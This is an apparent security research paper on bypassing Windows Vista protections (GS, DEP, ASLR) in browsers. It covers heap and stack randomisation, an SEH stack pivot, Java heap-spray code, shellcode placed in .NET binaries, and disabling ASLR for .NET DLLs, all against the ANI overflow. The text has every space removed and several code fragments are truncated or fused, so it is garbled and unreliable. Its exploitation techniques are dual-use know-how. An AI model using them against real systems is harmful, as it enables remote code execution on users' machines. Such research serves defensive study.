Theheapbeginswithasizeabledatastructurethathasanumberofelementsthathavebeenabusedtoexploitheapoverflowsinthepast.
AllocatingaheapwithNtAllocateVirtualMemorydoesn'tactuallyguaranteethatitwillbestaticallypositioned,butinpracticeitnearlyalwaysresidedatapredictablelocation.
InVista,somerandomnesshasbeenaddedtotheallocationprocessinordertomakethingsharderforawould-beattacker.
ThisrandomizationtakesplaceduringtheearlystagesofRtlHeapCreate.
Essentially,a5-bitrandomvalueisgeneratedandthenmultipliedby64K.
ThisvalueisthenusedasanoffsetfromthebaseaddressreturnedbytheNtAllocateVirtualMemorywheretheheapdatastructurewillbegin.
Thememoryintheblockbeforethisoffsetissubsequentlyfreed.
Thefollowingpseudocodedemonstratesthisprocess.
LPVOIDlpAllocationBase=NULL,lpHeapBase=NULL;DWORDdwRandomSize=(_RtlpHeapGenerateRandomValue64()&0x1F)=0){lpHeapBase+=(LPBYTE)lpAllocationBase+dwRandomSize;dwRegionSize-=dwRandomSize;}TheideaisthatevenifNtAllocateVirtualMemoryreturnsapredictablelocation,thisrandomoffsetwillgivetheattackeronlya1/32chanceofguessingthecorrectlocationofthebaseheapstructure.
Additionally,sincethememorybeforetherandomoffsetisreleased,thereisagoodchancethataninvalidguesswillresultinanimmediateaccessviolation.
Notethatsincetherandomvalueismultipliedby64K,offsetsforthestartoftheheaprangefrom0to0x1F0000in64Kincrements(makingthemaximumoffsetfromthereturnedbaseaddresscloseto2MB).
StackrandomizationVistaalsoaddssomeentropytothelocationofstacksforallthreadswithinagivenprocess.
Thestackrandomizationistwofold;thebaseofthestackischosenrandomly,andanoffsetintotheinitialpagewherethestackstartsgettingusedisalsochosenatrandom,sothattargetingprecisevaluesonthestackwilloftennotbeaviableoption.
Thestackbaseischosenbysearchingthroughthevirtualaddressspaceforasuitablesizehole,whereholeisdefinedasaconsecutiveseriesofpagesnotmappedintomemory.
Entropyisaddedtothisprocessbygeneratingarandom5-bitvaluexbasedonthetimestampcounter,andthensearchingthroughtheaddressspaceforthex-thholeoftherequiredsize.
Onceaholehasbeenfound,itispassedasthesuggestedbaseaddresstoNtAllocateVirtualMemory.
Afterthat,theoffsetwithintheinitialpagewherethestackstartsisadjustedrandomlyinthePspSetupUserStackfunction.
Again,astrategyisemployedwherebyarandomvalueisderivedfromthetimestampcounter,thistime9bits.
This9-bitrandomvalueisthenmultipliedby4(guaranteeingDWORDalignment),andsubtractedfromthestackbase.
Thisresultsinamaximumoffsetof7FCbytes,orhalfapage.
Part2.
BypassingmemoryprotectionsThedesignandimplementationofthememoryprotectionmechanismsinWindowshaveanumberoflimitationsthatreducetheireffectiveness.
Inthissectionwewilldiscusstheselimitationsanddescribehowtheycanallowanattackertobypasstheprotections.
GSFunctionheuristicsThedefaultheuristicusedtodetectstringbufferswillleavesomevulnerablefunctionsunprotected.
OneexampleistheANIbufferoverflow(CVE-2007-0038)whichwasaresultofcopyingauser-specifiednumberofbytesintoafixedsizestructureonthestack.
Sincethestructuredidnotcontainanystringbuffers,thevulnerablefunctiondidnothaveastackcookie.
Asimplifiedversionofthevulnerablecodeisshownbelow:voidgs1(char*src,intlen){struct{inta;intb;}buf;memcpy(&buf,src,len);}AnothertypeofbuffersthatarenotprotectedbyGSarearraysofintegersorpointers.
Asamplevulnerablefunctionisshownbelow:voidgs2(intcount,intdata){intarray[10];inti;for(i=0;ikbChildEBPRetAddrArgstoChild015df1a87c90378b015df270015dfaf0015df28cFlash9f!
pcre_fullinfo+0x9834015df2587c90eafa00000000015df28c015df270ntdll!
ExecuteHandler+0x24015df25877d83ac300000000015df28c015df270ntdll!
KiUserExceptionDispatcher+0xe015df56477d83b1e015df6bc015df5a000a00734USER32!
ReadFilePtrCopy+0x2b015df58077d84021015df6bc015df5c4015df5a0USER32!
ReadChunk+0x19015df5ec41414141414141414141414141414141USER32!
LoadAniIcon+0x9e015df604414141414141414141414141414141410x41414141Thecurrentstackpointeris0x15df188.
WecanseethattheoverwrittenstackframeofLoadAniIconstartsataddress0x15df5ec,whichisaboutathousandbytesabovethecurrentstackpointer.
Tomovethestackpointerintotheoverwrittenarea,wewillpointtheexceptionhandleratthefollowinginstructionsequenceinFlash9f.
ocx:.
text:301AF614addesp,0B30h.
text:301AF61AretnAftertheaddinstruction,thestackpointerwillpointatdatathatwecontrol.
WecansetuptheexactsamefakestackframeasinthepreviousexploittocalltheVirtualProtectfunctionandreturntoourshellcodeontheheap.
ThestackrandomizationinVistadoesnotstopthisexploit,becauseitchangesonlytheaddresswherethestackbegins,nottherelativepositionsofstackframes.
ThedistancebetweentheoverwrittenLoadAniIconstackframeandthestackpointerintheexceptionhandlerwillbethesameregardlessofwhattheirrandomizedabsoluteaddressesare.
JavaTheSunJavaRuntimeEnvironment(JRE)includesapluginforInternetExplorerthatallowswebpagestoloadandexecuteJavaapplets.
TheJavaVirtualMachine(JVM)ensuresthattheappletsareproperlysandboxedandpreventsthemfromaccessinganyfilesorothersensitivedataonthesystem.
InthepasttherehavebeenanumberofvulnerabilitiesallowingJavacodetoescapethesandbox,butinthissectionwewillusetheJVMmemoryallocatortobypassDEPandASLRwhenexploitingmemorycorruptionvulnerabilitiesinthebrowser.
JavaRWXheapsprayingexploit:java-heapspray.
rbvulnerability:ANItarget:VistaSP0withDEP,Java6u7bypasses:DEP,ASLRTheJVMusesacustommemoryallocatorthatcallsVirtualAlloctoreservesystemmemory.
InamisguidedattempttomaketheJVMcompatiblewithDEP,allcallstoVirtualAllocsetthePAGE_EXECUTE_READWRITEpageprotectionbits.
ThismakesallmemoryallocatedbythevirtualmachineexecutableandavoidsanyDEPerrors,butitalsodefeatsthepurposeofDEP.
SincetheJavaheapismarkedexecutable,wecanuseaJavaapplettospraytheheapwithshellcodeanduseanoverwrittenreturnaddresstoexecuteit.
ThisexploitbypassesDEPandASLRbyusingaJavaapplettofilltheJVMheapwithcopiesofastringcontainingaNOPslideandshellcode.
ThecodeoftheJavafunctionthatimplementstheheapsprayingtechniqueisshownbelow:////Fillmbmegabytesofheapmemorywithstringscontainingshellcode//publicvoidheapSpray(Stringshellcode,intmb)throwsRuntimeException{//Limittheshellcodelengthto100KBif(shellcode.
length()>100*1024)thrownewRuntimeException();//Limittheheapspraysizeto1GB,eventhoughinpracticetheJava//heapforanappletislimitedto100MBif(mb>1024)thrownewRuntimeException();//ArrayofstringscontainingshellcodeString[]mem=newString[1024];//AbufferforthenopslideandshellcodeStringBufferbuffer=newStringBuffer(1024*1024/2);//Eachstringtakesupexactly1MBofspace////headernopslideshellcodeNULL//12bytes1MB-12-2-xxbytes2bytes//Buildanopslidefor(inti=1;itag:ThisformatlooksverysimilartothewayActiveXcontrolsareembedded,butthereareafewkeydifferences:InsteadofaGUID,theclassidattributecontainsaURLthatpointstothe.
NETbinaryandspecifiesthenamespaceandclassnameofthecontrol.
InthedefaultInternetExplorerconfiguration,.
NETcontrolscanbeembeddedonanypageintheInternetZone.
ThisbehaviourcanbeconfiguredintheSecuritySettingstabinIE.
UnlikeActiveX,nowarningisissuedtotheuserwhenapreviouslyunseen.
NETcontrolisencountered.
Thisisbecause.
NETcontrolsexecutewithinasandboxandareconsideredsaferegardlessoftheirorigin,similartothewayJavaappletaretreated.
The.
NETbinariesarePEfileswithanextraheaderthatdescribestheclassesand.
NETbytecodecontainedinthebinary.
ThebytecodeisIntermediateLanguage(IL)code,whichrunsintheCommonLanguageRuntime(CLR)virtualmachine.
Whena.
NETbinaryisloadedinthebrowser,theruntimeverifiesthatitisaIL-Onlybinary,whichmeansthatitcontainsnonativecode.
Infact,thereisarelativelyextensiveanalysisofthebinariesbeingloadedtoensurethattheyarewellformedandvalid.
InterestedreadersareencouragedtoperusethesourcecodeofthebinaryvalidationprocessintheSharedSourceCommonLanguageInfrastructure.
The.
NETILcodeitselfisalsoexposedtoaverificationprocesstoensurethatitiswell-formedandcannotdoanythingmalicious.
Thisverificationprocessisbeyondthescopeofthispaper.
Shellcodeina.
NETbinaryexploit:dotnet-shellcode.
rbvulnerability:ANItarget:XPSP2withDEP,.
NET2.
0SP1bypasses:DEPSincethe.
NETbinarieshavethesamebasicformatasPEfiles,theCLRmapsthemintomemoryasimages.
ThismeansthatthekernelparsesthePEheaderandloadsallPEsectionsinmemorythesamewayitdoesfornormalexecutablesorDLLs.
Indoingthis,itsetsthepagepermissionsforeachsectionaccordingtotheflagsinthePEheader.
Ifthebinarycontainsanexecutablesection,itwillbeloadedinmemoryanditspageswillbemarkedexecutable.
Thisgivesanattackertheabilitytoputshellcodeinthe.
textsectionofa.
NETbinaryandgettheshellcodeloadedatanexecutablepageinthebrowserprocess.
OnWindowsXP,theaddresswherethebinaryisloadeddependsontheimagebasespecifiedinthePEheader,whichisalsocontrolledbytheattacker.
Theabilitytoplaceexecutableshellcodeataknownlocationintheaddressspaceisusuallyaparamountpartofsuccessfullyexploitingamemorycorruptionvulnerability.
Utilizing.
NETcontrolsforplacingshellcodeisexceedinglyusefulforanumberofreasons:Theattackercanmakeashellcodebufferofanarbitrarysize.
Theattackerisnotrestrictedinanywaybywhatbytesmayexistwithintheshellcode.
Theattackercanalsocreatearbitrarycomplexdatastructuresandloadthemataknownlocationinmemory.
We'llputtheshellcodeinastringusedintheconstructorforourcontrol.
Thisstringwillbestoredinthe.
textsectionofthe.
NETbinaryandwillbemarkedexecutablewhenthecontrolisloaded.
TheexploitusestheANIbufferoverflowtopointthereturnaddresstotheshellcodeandexecuteit.
Addressspacesprayingbypasses:DEP,ASLRSince.
NETbinariesareDLLsandareeventuallyloadedwithintheaddressspaceofthetargetIEbrowserprocess,theyaffordtheattackersomeinterestingpossibilities.
Primarily,theattackercanuse.
NETbinariestoexhaustpartsofthevirtualaddressspace,inasimilarwaytoheapspraying.
Additionally,itcanoftenbedonemuchfasterandasstatedpreviously,witharbitrarypageprotectionsonthedatabeinginsertedintotheaddressspace.
Thismakes"addressspacespraying"with.
NETbinariesanattractivealternativetoheapspraying,sinceitofferstheabilitytocircumventbothASLRandDEP.
Therearemanydifferentconfigurationsofvariousbinariesinmemorythatwouldbeusefultoanattacker,andtheprimaryonesarediscussedhere.
Bysupplyingsufficientlylargebinaries,anattackerisabletohaveagoodideaofroughlywhereabinarymightexistwithinthevirtualaddressspace.
TheyareabletoguessbecauseofthewayASLRworksinVista.
Specifically,thefollowingtwoobservationsareofinterest:1.
DLLsparticipatinginASLRarepackedtogetheratthetopofmemory.
Althoughexactlywhereitwillbelocatedisnotclear,theattackerwillroughlyknowhowwheretheDLLwillbeplaced.
RecallthatDLLsstartbeingloadedatarandomoffsetfromnearthetopofmemory(0x78000000minusupto16MBiswherethefirstDLLwillend).
Also,theattackerwillknowapproximatelyhowmanyDLLsareloadedandwhatsizetheyarebecausethisisrelativelystandardacrossdifferentinstallationsofWindows.
2.
IftheDLLdoesnotfitwithintheaddressrange0x50000000-0x78000000,thenabaseaddressisselectedforitinthesamewayoneisselectedforarandomizedexecutable-thatis,itwillbelocatedwithin16MBofthepreferredimagebasespecifiedinthePEheader(+/-8MB).
Theattackercanforcethisbehaviorbytryingtoloadalargebinary(~200MBforexample).
Usingbothofthesepiecesofinformation,anattackstrategycanbeformulatedforguessinganaddresswhichwillbemappedfortheDLL.
Essentially,theideaistomapaDLLthatissmallenoughtofitwithinthe0x50000000-0x78000000range,buttotakeupalargeportionofit,oralternativelytospecifyalargerDLLthatwillbeguaranteednottofitwithintheaforementionedrange.
So,ifaDLLwereinsertedthatwas,say,100MB,thentheattackercouldselectanaddresshighinmemory(suchas0x55550000)andhaveahighdegreeofconfidencethattheDLLwillhavesomedataatthatlocation.
Thisstrategyisdepictedbelow:Alternatively,alargerDLLcouldbeinserted,andareturnaddressofthepreferredbase+8MBwouldguaranteetolandwithintheDLLsaddressrange.
ThesecondstrategymightbeusefuliftheattackerrequirestheDLLtobelocatedwithinacertainaddressrange,becauseofcharacterrestrictionsineffectinthevulnerabilitytheyareattemptingtoexploitforexample.
Thisstrategyisshownbelow:UsingthesemethodsmightnotbepreciseenoughtooverwritemetadatawithintheDLL,butcouldcertainlybeusedforreturningtosomeexecutableshellcode.
Essentially,theattackerwouldhaveoneverylargesectionwithinthebinarymarkedasreadableandexecutable,containingalarge"nopslide"followedbyusefulshellcodeattheveryend.
Thus,returninganywhereintothissectionwouldyieldarbitraryexecution.
Onemajordrawbackwiththisapproachisthatdownloadingsuchalargebinarywouldtakeaconsiderableamountoftimegiventheaverageuser'sbandwidthconstraints.
Thisproblemcanbeaddressedintwoways:BinaryPaddingThismethodinvolvesspecifyingasectionwithalargeVirtualSizeinthesectionheader,andasmallSizeOfRawDatavalue(even0).
InascenariowhereVirtualSizeislargerthanSizeOfRawData,theremainderofthesectionisfilledwith0'swhenmappedintomemory.
OntheIntelarchitecture,thistranslatestothefollowinginstructionbeingrepeatedmanytimes:addbyteptr[eax],alIftheshellcodeisplacedinanotherexecutablesectionlocatedrightafterthelargeemptysection,theaddbyteptr[eax],alinstructionscanbeusedasaNOPslide.
SincethisinstructiondereferencesEAXandwritesdataatthataddress,EAXwouldneedtopointtoavalidandwritableaddressinmemory.
HTTPContent-Encoding:gzipInternetExplorersupportsgzipencodedcontent,whichisdecodedautomaticallywhenitisreceivedbythebrowser.
Usingthemod_deflateApachemoduleorsimilarsoftwareallowstheattackertosendlarge.
NETbinariescompressed,thusdramaticallyreducingdownloadtime.
Furthermore,sincethelargesectionsdescribedinthisattackareessentiallyNOPslides,thecompressionratiowouldbequitehighbecauseyouarecompressingalargerepetitionofthesamebyte.
ThismethodhastheadvantageofnotrequiringEAXtopointtoavalidlocationinmemory.
AvariationonthedescribedmethodistousebothASLRscenariosdescribedabove.
Essentially,onebinaryismappedintomemorythattakesupmostofthestandardDLLaddressrange(0x50000000-0x78000000)usingthebinarypadding,andthenanothersmalleronewithallthecontentspresentinthefile(i.
e.
thereisnopadding)ismappedintomemory.
Thissmalleronewouldneedtobe16MBinsizestill,toguaranteereturningintoavalidmappedpartoftheDLL.
(IftheattackerspecifiedareturnaddressoftheDLL'spreferredbaseaddress+8MBandthebinarywas16MBinsize,thenitisguaranteedtobevalid.
)Thismethodhastheadvantageofnottransferringanexcessiveamountofdata,andalsonotrequiringEAXtopointtoavalid,writablememorylocationatthetimeoftheoverflow.
Asmentionedpreviously,DLLsaremappedintotheaddressspaceoneaftertheotherwithagranularityof64K.
Thatis,eachDLLismappedona64K-alignedboundarywithinthestandardDLLaddressrange(providingitwillfitthere).
So,anattackercancreateawebpagethatembedsaverylargenumberofsmall.
NETbinaries(8kinsizeorless),andeachbinarywillbealignedona64Kboundary,andalsothattheywillbemostlyallocatedcontiguouslybelowthealreadyloadedbinaries.
Therefore,every64K-alignedaddresswithintherangeofwheretheseDLLsaremappedwillcontainaPEheader,followedbywhateverelsetheattackerchosetoputineachbinary(metadata,shellcode,etc).
Itisthereforefeasibletodoanattacknotunlikeastandardheapspray,withtheadditionaladvantagesofsettingpageprotectionsaswellasknowingwheremetadataislocated.
Thisattackisdepictedbelow:Inordertoperformthisattack,alargenumberofDLLsneedtobeembeddedwithinthewebpagetoensurethattherangeofaddressesislargeenoughtoaccuratelyguess.
Inapracticalscenario,thiscouldbeachievedwitharound300DLLs.
300DLLsalignedon64Kboundarieswouldoccupyaround19MBifplacedcontiguously.
IfeachoftheseDLLswere6Kinlengthforexample,thiswouldresultinarequirementofdownloading1800K,oralittlelessthan2MB.
Again,compressioncouldpotentiallymakethisfiguresignificantlylower.
DisablingASLRfor.
NETBinariesexploit:dotnet-shellcode-aslr.
rbvulnerability:ANItarget:VistaSP0withDEPbypasses:DEP,ASLRThepreviousattackvectorshadacertaindegreeofguessworkinvolvedinexactlywhere.
NETDLLswouldbepositionedinmemory.
ItwouldreallybepreferableifitwerepossibletoloadaDLLatanexactaddress,thusallowingtheattackertoexactlyidentifywhereinterestingmetadata/shellcode/etcresidesinmemory.
OnWindowsXP,thisissomewhateasy;.
NETbinariesarejustloadedattheirpreferredimagebase.
OnVistatheaddresswherea.
NETbinaryisloadedisalwaysrandomized,regardlessofthewhethertheDllCharacteristicsfieldintheheaderhastheIMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASEflagset.
ThepseudocodefordecidingwhetherASLRshouldbeenabledforaparticularbinaryisshownbelow:intMiRelocateImage(PIMAGE_BINARY_INFOpBinaryInfo,PIMAGE_DATA_DIRECTORYpRelocations,LPBYTEpImagePtr){if(!
(pBinaryInfo->pHeaderInfo->usDllCharacteristics&IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE)&&!
(pBinaryInfo->pHeaderInfo->bFlags&PINFO_IL_ONLY_IMAGE)&&!
(_MmMoveImages==-1)){_MiNoRelocate++;return0;}ASLRdoesnottakeplaceonlyiftheallofthefollowingthreeconditionsaremet:1.
ThebinaryisnotparticipatinginASLR(ie.
IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASEisnotsetintheDllCharacteristicsfield).
2.
ThebinaryisnotIL-Only(theCOMIMAGE_FLAGS_ILONLYflagissetintheFlagsfieldofthe.
NETheader),and3.
The_MmMoveImagesglobalvariableisnotsetto-1.
Since.
NETbinariesloadedinthecontextofthebrowserarealwaysIL-Onlybinaries,itwouldseemasthoughtheywillalwaysacquirearandombaseaddress.
However,thisisnotthecase.
ThecodeforsettingtheIL-Onlyflagisshown:if(((pCORHeader->MajorRuntimeVersion>2)||(pCORHeader->MajorRuntimeVersion==2&&pCORHeader->MinorRuntimeVersion>=5))&&(pCORHeader->Flags&COMIMAGE_FLAGS_ILONLY)){pImageControlArea->pBinaryInfo->pHeaderInfo->bFlags|=PINFO_IL_ONLY_IMAGE;.
.
.
}Ascanbeseen,anumberofadditionalsanitychecksaredonebeforethecheckisdonetoseeifCOMIMAGE_FLAGS_ILONLYissetinthe.
NETCORheader.
Specifically,themajorandminorversionsintheCORheaderarechecked,andiftheversionisbelow2.
5,theFlagsvalueintheCORheaderisneverchecked,andtheIL-Onlyflagisneverset.
So,tohaveabinarylocatedinastaticlocationintheIEprocess,thefollowingmodificationstoastandard.
NETcontrolneedtobecarriedout:1.
SettheImageBasevalueinthePEOptionalHeadertothedesiredaddress.
2.
RemovetheDLL_IMAGE_CHARACTERISTICS_DYNAMIC_BASEflagfromtheDllCharacteristicsvalueinthePEfileheader.
3.
ChangetheversionintheCORheadertomakeitbelow2.
5.
Settingitto2.
4issufficienttobreakASLRwithoutimpactingthe.
NETcontrol.
Whenallthreeofthesemodificationsareperformed,theattackermayloadaDLLatanyaddresstheychoose.
ThismethodworksonallcurrentversionsofWindows,includingVistaSP1.
The.
NETCORheaderthatweneedtomodifycanbefoundbylookinguptheCOMPLUSdatadirectory(number14)inthePEheader.
TheCORheaderhasthefollowingformat:typedefstructIMAGE_COR20_HEADER{DWORDcb;WORDMajorRuntimeVersion;WORDMinorRuntimeVersion;IMAGE_DATA_DIRECTORYMetaData;DWORDFlags;DWORDEntryPointToken;IMAGE_DATA_DIRECTORYResources;IMAGE_DATA_DIRECTORYStrongNameSignature;IMAGE_DATA_DIRECTORYCodeManagerTable;IMAGE_DATA_DIRECTORYVTableFixups;IMAGE_DATA_DIRECTORYExportAddressTableJumps;IMAGE_DATA_DIRECTORYManagedNativeHeader;}IMAGE_COR20_HEADER,*PIMAGE_COR20_HEADER;Someoftheimportantfieldsforthepurposesofthisdiscussionareasfollows:Cb-Thisisthesizeofthe.
NETCORheader,itneedstobeatleast0x48.
MajorRuntimeVersion-Themajorruntimeversionof.
NETthatthisbinarywasdesignedtorununder.
Currentcompilerswillbuildbinarieswiththemajorversion2here.
MinorRuntimeVersion-Theminorruntimeversionof.
NETthatthisbinarywasdesignedtorununder.
Currentcompilerswillbuildbinarieswiththeminorversion5here.
Flags-Severalflagsdescribingwhattypeof.
NETbinarythisis.
TosuccessfullyloadinthecontextofIE,thebrowserneedstocontainnonativecode-thatis,itmustbean"IL-Only"binary,whichisindicatedbysettingtheflagCOMIMAGE_FLAGS_ILONLY(0x01)here.
Themodificationsweperformedonexploit.
dllareshownbelow:---exploit.
dll.
orig.
dumpbin2008-08-0401:17:32.
599800000-0700+++exploit.
dll.
dumpbin2008-08-0401:17:40.
914600000-0700@@-2,7+2,7@@Copyright(C)MicrosoftCorporation.
Allrightsreserved.
-Dumpoffileexploit.
dll.
orig+Dumpoffileexploit.
dllPEsignaturefound@@-42,8+42,7@@200sizeofheaders0checksum3subsystem(WindowsCUI)-540DLLcharacteristics-Dynamicbase+500DLLcharacteristicsNXcompatibleNostructuredexceptionhandler100000sizeofstackreserve@@-152,7+151,7@@clrHeader:48cb-2.
05runtimeversion+2.
04runtimeversion206C[324]RVA[size]ofMetaDataDirectory3flags0entrypointtokenJavaand.
NETstacksprayingForsometimenow,heapsprayinghasbeenapopularmethodforcreatingreliableexploits.
Thekeyelementofheapsprayingistheabilitytohavealargecontiguousmemoryregionofcontrollabledatathatisofsomeusewhenexploitingamemorycorruptionflaw.
Usually,thisamountstoallocatingaseriesoflargeblocksfilledwithshellcodethatcanbelaterreturnedtoafterexecutionhasbeenseized.
Someoftheconceptscentraltoheapsprayingareinterestinginthecontextofthreadstacksalso.
Thereareseveralkeydifferences,however,whichareasfollows:1.
Stackscanbeusefulformorethanjuststoringshellcode.
Sincestackscontainmetadata,theymightalsobeusefulasatargetformemorycorruption.
2.
Thedataonthestackmaynotbedirectlycontrollablebytheattacker.
3.
Tosprayalargeamountofdatainarepeatingpatternwillgenerallyrequirerecursivefunctioncalls.
4.
Stackscannotbeinfinitelyexpanded-theyarelimitedbythereservesizeofthestack.
So,utilizingthestackpresentssomeinterestingopportunitiesthatheapsprayinggenerallydoesnot(primarilyoverwritingmeta-data).
However,itisalsoapparentthatstacksprayingappearsmoredifficulttoachieveduetothefactthatgenerallyrecursivefunctionsarefewandfarbetween,thedataisn'tcontrolleddirectlybytheattacker,andstacksarelimitedbythereservesizeofthestack.
Still,iftheseproblemscanbeovercomethenitremainsaviableexploitationmethod.
Beforediscussingtheissuesabove,abriefexplanationofstackusageontheWindowsplatformshouldbecovered.
Basically,astackhasbotha"reserve"sizeanda"commit"size.
Thereservesizeindicatesthemaximumsizethestackcangrowto.
Whenthestackisallocatedatthreadinitialization,amemoryregionofthesizeindicatedbythestackreservesizeiscarvedoutoftheaddressspace.
Thismemoryregionisnotactuallybackedbyphysicalpagesordiskbacking-itisreservedinthevirtualaddressspacesothatnothingelsecanbeallocatedinthatregionofmemory.
Thecommitsize,ontheotherhand,istheamountofmemorythatwillbebackedbyphysicalpagesorabackingstore.
Thecommittedmemorywilltypicallybemuchsmallerthanthereservesize,andwillbeusedassoonasthethreadstartsutilizingthestack.
Whenallofthecommittedmemoryisusedup,thekernelwillautomaticallycommitmorememoryasneeded,uptoamaximumofthereservesize.
ThisprocessisdocumentedinmoredepthinDowd,McDonaldandMehta'spresentationfromBlackHatUSA2007.
WheredothereserveandcommitsizescomefromThedefaultreserveandcommitsizesforagiventhreadareretrievedfromtheOptionalHeaderinthebaseexecutableofthecurrentprocess.
Thestandardvaluesmostexecutableshaveare4K(1page)foracommitsizeand1MBforthereservesize.
EitherofthesevaluescanbeoverriddenbyexplicitlyhavingthedwStackSizeparametersettonon-zerowhencallingtheCreateThreadfunction.
WhetherthedwStackSizeisusedtoindicatethereserveorthecommitsizedependsonthedwCreationFlagsvalue.
IfthisflagsvaluehasSTACK_SIZE_PARAM_IS_A_RESERVATIONset,thendwStackSizewillrepresentthereservesize,otherwiseitwillrepresentthecommitsize.
Inthecontextofwebbrowsers,overcomingalloftheaforementionedproblemsisactuallyquiteeasyduetotheuseoflanguagessuchasJavaand.
NET.
Firstly,theproblemofthestackbeinglimitedinsizeisnotaproblem,becausebothJavaand.
NEThavethreadconstructorfunctionsthatatakeastacksizeparameter:JavaThreadconstructor:publicThread(ThreadGroupgroup,Runnabletarget,Stringname,longstackSize).
NETThreadconstructor:publicThread(ThreadStartstart,intmaxStackSize)Thesizeparameterinbothcasesisusedasthereservesizeforthenewstackbeingcreated,andcanbearbitrarilylarge.
Itispossible,forexample,toreserve256MBofthevirtualaddressspaceforaparticularthread'sstack.
Therefore,theattackerisfreetoallocateacontiguousregionofmemoryaslargeastheywant.
Furthermore,theattackerhasafairlyfreehandonwhatkindofdatawillbeplacedontothestack,sincetheywillsupplythefunctionsthataremanipulatingthatstackspace.
Severalpossibilitiesthatareusefulforexploitationscenariosaredescribedinthefollowingsection.
StacksprayingwithreturnaddressesInthisscenario,thegoalistofillalargeamountofstackspacewithusefulpointerstooverwrite.
Usingthistechniqueallowstheattackertoselectanapproximatelocationtocorruptratherthanapreciseone.
Theeasiestwaytodothisistocreatearecursivefunctionwithnolocalvariablesandnoparameters.
Bycallingthisfunctionenoughtimessothatitfillsupmostofthestack,alargebufferwillbecreatedthatcontains(intheory)aseriesofreturnaddresses,anyofwhichcanbeoverwrittentogainarbitraryexecution.
Inreality,severalotherdataelementsalsogetpushedontothestack.
ThestacklayoutforbothJavaand.
NETthreadsareshownrespectively.
Thecontentofthestackineachscenarioisnotexactlyalargebufferofrepeatingconvenientreturnaddressestooverwrite;othermeta-dataisalsostoredonthestack.
InthecaseofJava,thereisasignificantamountofmeta-data,withsavedEIPsonlyoccurringaboutonceinevery8DWORDs.
Conversely,.
NEThasonlysavedregisters,andsavedEIPscanbeasfrequentas1inevery2DWORDs.
Ineithercase,overwritingotherDWORDsdoesnotresultinprogramcrashesbecauseoverwritingthesavedregistershasnoeffect(sincethesameregistersarerestoredagaininthefollowingstackframes).
StacksprayingwithshellcodeCodeisjustaseasytoplaceonthestackasaddresses.
Inthiscase,theattackerwouldcreatefunctionswithverylargestackfootprintsthatcontainthecodeoftheirchoosing.
Thiscouldbeachievedforexamplebycreatingalargenumberofintegersorbytesaslocalvariables,andthenpopulatingthemwithusefulcode.
Again,thiswouldbestbeachievedwitharecursivefunction.
Also,itshouldbenotedthatcodelocatedonthestackmayonlybeexecutedifDEPisnotbeingenforced.
Thisrestrictionisalsotrueofheapspraying,however.
StacksprayingwithpointersOneparticularlyinterestingaspectofstacksprayingisthatratherthanfillingupablockfullofuser-controlleddata,itisequallyeasytofilluptheblockwithpointerstouser-controlleddata.
Indirectionlikethismightbeusefulinanumberofmemorycorruptionscenarios.
Inordertoachievethis,theattackersimplyneedstomakeafunctionthathasalargenumberoflocalvariablesthatarepointers.
Obviously,bothlanguagesdon'tsupportdirectpointermanipulation,howeverbycreatingnewarraysorobjects,pointerswillbecreatedandplacedonthestack.
Therefore,byfollowingasimilarstrategytothosepreviouslyoutlined(namely,havingarecursivefunctionwithalargeamountoflocalvariablesand/orparameters),itispossibletohavealargebufferofpointerstousercontrolled-data.
StacksprayingandASLRASLRinVistarandomizesthestack,asdiscussedearlier.
Astutereadersmightnoticethatallocatingasufficientlylargestackshouldnotsucceed;atattempttoallocate128MormoreforastackshouldfailbecausetheASLRcodesearchesthroughtheaddressspacearandomnumberoftimesforaholethatthestackshouldfitin.
However,thesizepassedtothestackrandomizationfunctionisthestackcommitsize,notthestackreservesize.
Therefore,thesearchthroughmemorywilllookforquitesmallholes(4Kinmostcases),ratherthanobnoxiouslylargeones.
Itdoesn'treallymatteriftheholereturnedisbigenoughtofitthelargestackreserveinornot;thebaseaddressreturnedfromtherandomizationprocessisjustusedasahinttoNtAllocateVirtualMemory.
IfthebaseaddresspassedtoNtAllocateVirtualMemorydoesnotpointtoablockoffreespacelargeenoughforthereserveallocation,theaddressspacewillbesearchedlinearlyforabigenoughspaceandallocatethere.
Therefore,baseaddressrandomizationforthestackhaslittlemeaninginthecontextofthesetechniques.
Theexcessivelylargestacksalwaysgetallocatedinthelowerpartoftheaddressspace,asshown:Theaddress0x10000000isasafeonetoreturnto,sincepartofthestackisalwaysthere.
If0'scannotexistwithinthereturnaddress,thensomethinglike0x10101010wouldalsobeadequate.
Anexamplememorydumputilizing.
NETisshown:Here,alargestackhasbeencreatedwithasavedEIPeverysecondDWORD.
Thisstackwillreliablyexistatapproximatelythesamelocationacrossmultipleexecutions.
ConclusionInthispaperwedemonstratedthatthememoryprotectionmechanismsavailableinthelatestversionsofWindowsarenotalwayseffectivewhenitcomestopreventingtheexploitationofmemorycorruptionvulnerabilitiesinbrowsers.
Theyraisethebar,buttheattackerstillhasagoodchanceofbeingabletobypassthem.
Twofactorscontributetothisproblem:thedegreetowhichthebrowserstateiscontrolledbytheattacker;andtheextensiblepluginarchitectureofmodernbrowsers.
Theinternalstateofthebrowserisdeterminedtoalargeextentbytheuntrustedandpotentiallymaliciousdataitprocesses.
ThecomplexityofHTMLcombinedwiththepowerofJavaScriptandVBscript,DOMscripting,.
NET,JavaandFlashgivetheattackeranunprecedenteddegreeofcontroloverthebrowserprocessanditsmemorylayout.
Thesecondfactoristheopenarchitectureofthebrowser,whichallowsthird-partyextensionsandpluginstoexecuteinthesameprocessandwiththesamelevelofprivilege.
ThisnotonlymeansthatanyvulnerabilityinFlashaffectsthesecurityoftheentirebrowser,butalsothatamissingprotectionmechanisminathird-partyDLLcanenabletheexploitationofvulnerabilitiesinallotherbrowsercomponents.
TheauthorsexpecttheseproblemstobeaddressedinfuturereleasesofWindowsandbrowserpluginsshippedbythirdparties.
